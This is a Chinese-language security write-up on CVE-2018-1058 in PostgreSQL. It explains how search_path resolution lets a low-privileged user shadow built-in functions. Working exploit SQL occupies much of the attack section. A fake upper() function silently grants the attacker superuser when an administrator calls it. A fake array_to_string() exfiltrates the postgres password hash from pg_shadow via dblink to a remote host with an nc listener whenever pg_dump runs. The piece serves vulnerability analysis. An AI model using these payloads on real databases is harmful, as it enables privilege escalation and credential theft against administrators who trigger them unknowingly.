PostgreSQL 遠程代碼執(zhí)行漏洞分析及利用—【CVE-2018-1058】
0X01 What
Theory
A flaw was found in the way Postgresql allowed a user to modify the behavior of a query for other users. An attacker with a user account could use this flaw to execute code with the permissions of superuser in the database. Versions 9.3 through 10 are affected.
0x02 Where
Vulnerable software and versions
漏洞影響版本:https://www.securityfocus.com/bid/103221
0x03 How
Basic Env
PostgreSQL(win平臺)下載地址: PostgreSQL-9.6.7
$ psql -U postgres
postgres=# CREATE DATABASE vs0sv;
postgres=# CREATE USER vs0sv WITH PASSWORD 'vs0sv';
CREATE ROLE
postgres=# GRANT ALL PRIVILEGES ON DATABASE vs0sv to vs0sv;
GRANT

基本環(huán)境如下:
超級用戶:postgres
普通用戶:vs0sv
數(shù)據(jù)庫: heil
漏洞分析/利用
基本場景:
先看一些基本場景,該漏洞驗證時候,需要打開兩個窗口進行展示,分別是 vs0sv 普通用戶 和 postgres 超級管理員用戶:
$ psql -U vs0sv -d heil --> 普通用戶vs0sv登錄命令后不加 ;
$ psql -U postgres --> 超級管理員用戶登錄,超管能管所有表
分別通過SELECT SESSION_USER;獲知當前的會話用戶:


我們在public模式中創(chuàng)建一張表以及對應的字段:

CREATE TABLE public.test AS SELECT 'just test for fun' :: text AS test;
SELECT * FROM test;
緊接著進行查詢:
heil=> SELECT * FROM test;
接著我們新創(chuàng)建一個模式(schema),其模式名即為vs0sv,也即當前的SESSION_USER:
heil=> CREATE schema vs0sv;
然后在vs0sv模式中創(chuàng)建對應的表以及字段:
heil=> CREATE TABLE vs0sv.test AS SELECT 'i am vs0sv'::text AS test;
然后我們執(zhí)行跟上次相同的查詢語句:
heil=> SELECT * FROM test;

為什么兩次查詢出現(xiàn)了不同的結果呢?這個涉及到PostgreSQL的search_path。PostgreSQL 7.3后引入了schema的概念,稱之為模式或者架構,允許用戶在獨立的命名空間中創(chuàng)建不同的對象(比如table,function)。在默認情況下,比如剛剛創(chuàng)建的一個數(shù)據(jù)庫,都會有默認的一個public模式,在不做其他操作或者設定的情況下,諸如查詢等操作都是在這個public中進行查詢。
比如說:
SELECT * FROM test;
也即等價于:
SELECT * FROM public.test;
由于采用了獨立的命名空間,因此在用戶進行查詢時,倘若涉及到對相同名字但在不同schema中的對象操作時,必然需要考慮一定的順序。在PostgreSQL 9.6.7的官方文檔中,search_path (string)說明了相關場景中的相應匹配動作,截取部分如下:
When there are objects of identical names in different schemas, the one found first in the search path is used.
If one of the list items is the special name $user, then the schema having the name returned by SESSION_USER is substituted, if there is such a schema and the user has USAGE permission for it. (If not, $user is ignored.)
The system catalog schema, pg_catalog, is always searched, whether it is mentioned in the path or not. If it is mentioned in the path then it will be searched in the specified order. If pg_catalog is not in the path then it will be searched before searching any of the path items.
即:
- 首先適配原則,第一個找到的object被使用
- 名為$user的schema由SESSION_USER決定
- 如果pg_catalog不在path中則會最先查找它,如果在path中則按照指定順序查找
第1、2點即如前面所示,但PostgreSQL在對第3點的實現(xiàn)上出現(xiàn)了Design Error(securityfocus的分類),造成了代碼執(zhí)行漏洞。
Explotation
在Postgres的commit記錄中,有如下commit:
As special exceptions, the following client applications behave as documented
regardless of search_path settings and schema privileges: clusterdb
createdb createlang createuser dropdb droplang dropuser ecpg (not
programs it generates) initdb oid2name pg_archivecleanup pg_basebackup
pg_config pg_controldata pg_ctl pg_dump pg_dumpall pg_isready
pg_receivewal pg_recvlogical pg_resetwal pg_restore pg_rewind pg_standby
pg_test_fsync pg_test_timing pg_upgrade pg_waldump reindexdb vacuumdb
vacuumlo. Not included are core client programs that run user-specified
SQL commands, namely psql and pgbench.
上面的commit提到了兩類的client applications。下文的較為直觀的利用方式一是針對第二類client applications(比如psql),然后利用方式二是通過第一類client applications來執(zhí)行任意代碼,相比較下更為隱蔽。
Exploit 1
在系統(tǒng)schema pg_catalog中,定義了大量的函數(shù),用pgAdmin3查看:

以函數(shù)abs系列為例,接受一個類型為bigint\smallint\intger\real\double precision\numeric的參數(shù),返回其絕對值。倘若我們傳送一個非數(shù)值類型的參數(shù)呢,比如text,
vs0sv=> select abs('vs0sv');
由于并沒有參數(shù)類型為text的abs函數(shù),會直接報錯:
但postgres提供了自定義函數(shù)的功能!我們創(chuàng)建如下函數(shù):
CREATE FUNCTION public.abs(TEXT) RETURNS TEXT AS $$
SELECT 'you are hacked by ' || $1;
$$ LANGUAGE SQL IMMUTABLE;
當我們再次執(zhí)行同樣的查詢語句,根據(jù)postgres的設計流程,它會先去查找系統(tǒng)schemapg_catalog,但由于參數(shù)類型不同沒有找到,接著按照search_path中的順序查找,而我們定義的abs(text)存在于schemapublic中,參數(shù)符合,因此pg理所當然地執(zhí)行了我們(vs0sv)定義的函數(shù):

注意一個點,這個函數(shù)是定義在schemapublic中的,也就是說對于進入到這個數(shù)據(jù)庫的任何用戶,只要他們調(diào)用了abs,且參數(shù)為text,都有可能會誘發(fā)惡意的代碼執(zhí)行。比如以超級用戶postgres執(zhí)行:

不過有誰會傻乎乎的去運行一個莫名其妙的abs(text)呢?因此真正的攻擊手段是將過程隱藏到看似正常的數(shù)據(jù)庫查詢中。這次我們選擇schemapg_catalog中的另外一類函數(shù)比如lower(text),upper(text),它們分別將text類型的參數(shù)轉(zhuǎn)成小寫和大寫,不過系統(tǒng)沒有提供接受varchar參數(shù)的lower和upper,盡管可以進行類型轉(zhuǎn)換,但對pg而言,最好的選擇當然是參數(shù)類型恰好符合的惡意自定義函數(shù)。
創(chuàng)建一個表,值的類型為varchar:
CREATE TABLE public.hahahaha AS SELECT 'vs0sv'::varchar AS contents;
創(chuàng)建對應的惡意函數(shù):
CREATE FUNCTION public.lower(varchar) RETURNS TEXT AS $$
SELECT 'you are hacked by ' || $1;
$$ LANGUAGE SQL IMMUTABLE;
對絕大部分用戶而言,他們可能看大寫的VS0SV不爽,然后執(zhí)行了lower函數(shù),但在不知道/清楚類型的情況下,他們執(zhí)行的是public中的惡意自定義函數(shù)。

只能打印you are hacked by XXX有毛用??!由于惡意自定義函數(shù)可以被超級用戶調(diào)用到,因此也就有了相應的執(zhí)行權限,最簡單的比如提權。
先來看看權限情況(以超級用戶為例),可以看到只有postgres的rolsuper是t,即true:

在用戶vs0sv登陸進vs0sv數(shù)據(jù)庫后,他創(chuàng)建了如下upper函數(shù):
CREATE FUNCTION public.upper(varchar) RETURNS TEXT AS $$
ALTER ROLE vs0sv SUPERUSER;
SELECT pg_catalog.upper($1);
$$ LANGUAGE SQL VOLATILE;
注意這里是VOLATILE,具體原因參考 官方文檔: xfunc-volatility
另外一張table,小寫的vs0sv:
CREATE TABLE public.hehehehe AS SELECT 'vs0sv'::varchar AS contents;
管理員一看,心中不爽:小寫小寫就知道小寫,然后:
看上去一切正常,大寫的大寫?;氐接脩魐s0sv處,查看一下權限:

vs0sv已經(jīng)成為超級用戶 :)
利用方法有很多,理論上只要能創(chuàng)建惡意函數(shù),管理員調(diào)用,就是以管理員身份去執(zhí)行惡意sql語句/代碼。在這種情況中,如commit所說Not included are core client programs that run user-specified SQL commands, namely psql and pgbench.,被攻擊用戶是知道自己執(zhí)行的sql語句,只是其中的某個function意義被掉包了。
Exploit 2
安裝完PostgreSQL后還會有一系列的工具,比如pg_dump、pg_dumpall等等?;诶梅绞揭唬趧?chuàng)建了惡意函數(shù)的基礎之上,可以通過這些工具來執(zhí)行惡意函數(shù)。這些工具在執(zhí)行過程中會動態(tài)設定search_path,導致public的優(yōu)先級比pg_catalog高,也就是說即使是在相同類型相同參數(shù)相同函數(shù)名的情況下,會選擇public中的函數(shù)。相比第一種而言隱蔽性更強,同時有更高的可觸發(fā)性。
為利用pg_dump中的sql語句,可以利用log來觀察執(zhí)行過程。在superuser的權限下show log_directory;找到log目錄,將目錄下postgresql.conf中的約莫455行改為log_statement = all。重啟PostgreSQL后,使用pg_dump工具執(zhí)行備份命令:
pg_dump -U postgres -f heil.bak heil
同時觀察log輸出,查找statement: SET search_path =,最后在某處我發(fā)現(xiàn)了一段這樣的log:

可以看到在這段log中,有一處的array_to_string是沒有指定schema的。在系統(tǒng)schema中它的定義如下:

在這里由于已經(jīng)設定了search_path,為了能直接適配,這里創(chuàng)建的惡意函數(shù)的參數(shù)個數(shù)和類型都必須和pg_catalog中定義的相同,倘若不同則會按順序匹配到正確的函數(shù)。
因為pg_dump在運行過程中開啟的是read only transaction,根據(jù)官方文檔:
The transaction access mode determines whether the transaction is read/write or read-only. Read/write is the default. When a transaction is read-only, the following SQL commands are disallowed: INSERT, UPDATE, DELETE, and COPY FROM if the table they would write to is not a temporary table; all CREATE, ALTER, and DROP commands; COMMENT, GRANT, REVOKE, TRUNCATE; and EXPLAIN ANALYZE and EXECUTE if the command they would execute is among those listed. This is a high-level notion of read-only that does not prevent all writes to disk.
是不允許執(zhí)行下類操作的:
- INSERT, UPDATE, DELETE, COPY FROM
- all CREATE, ALTER, and DROP commands
- COMMENT, GRANT, REVOKE, TRUNCATE; and EXPLAIN ANALYZE and EXECUTE if the command they would execute is among those listed
不過并沒有禁止select語句。如果開啟了dblink,則可以利用查詢來帶出數(shù)據(jù),比如用dblink_connect。因此我們創(chuàng)建這樣的一個惡意函數(shù):
CREATE FUNCTION public.array_to_string(anyarray,text) RETURNS TEXT AS $$
select dblink_connect((select 'hostaddr=192.168.248.132 port=12345 user=postgres password=vs0sv sslmode=disable dbname='||(SELECT passwd FROM pg_shadow WHERE usename='postgres')));
SELECT pg_catalog.array_to_string($1,$2);
$$ LANGUAGE SQL VOLATILE;
遠程vps上監(jiān)聽:
nc -lvv 12345
當管理員進行數(shù)據(jù)庫備份時:
pg_dump -U postgres -f vs0sv.bak vs0sv

即可得到管理員密碼: 別問我為什么盜圖,因為沒錢買vps,原理大致相同吧,這里要感謝chybeta表哥以圖相贈啦!

0x04 Fix it
以下版本修復了該漏洞
PostgreSQL PostgreSQL 9.6.8
PostgreSQL PostgreSQL 9.5.12
PostgreSQL PostgreSQL 9.4.17
PostgreSQL PostgreSQL 9.3.22
0x05 Knowledgeable p0int
- 一定要在postgreSQL路徑下開兩個窗口:一個是postgres超管的,一個是vs0sv普通用戶的。
- postgreSQL語法大全 :外連接數(shù)據(jù)庫命令不需要最后帶分號
- 如何查看數(shù)據(jù)庫當前用戶
- 如何用postgreSQL查看系統(tǒng)中的所有用戶
- pgadmin4下載